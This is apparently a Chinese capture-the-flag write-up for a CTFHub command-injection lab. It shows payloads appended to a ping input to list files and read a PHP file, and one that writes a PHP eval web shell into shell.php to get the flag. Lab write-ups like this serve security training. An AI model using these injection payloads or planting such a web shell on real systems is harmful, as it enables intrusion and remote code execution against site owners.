打开靶机

ctfhub技能树—RCE—命令注入

查看页面信息

ctfhub技能树—RCE—命令注入

输入127.0.0.1进行测试

ctfhub技能树—RCE—命令注入

构造payload

127.0.0.1&ls

ctfhub技能树—RCE—命令注入

查看文件内容信息

127.0.0.1 & cat 179852221619745.php

ctfhub技能树—RCE—命令注入
ctfhub技能树—RCE—命令注入
没有反应......

利用命令执行写入一句话木马

127.0.0.1 &echo "<?php @eval(\$_POST['a']);?>" >> shell.php

ctfhub技能树—RCE—命令注入
ctfhub技能树—RCE—命令注入
成功拿到flag

相关文章:

  • 2021-08-19
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2021-09-18
  • 2022-12-23
  • 2022-12-23
猜你喜欢
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2021-07-30
  • 2022-12-23
相关资源
相似解决方案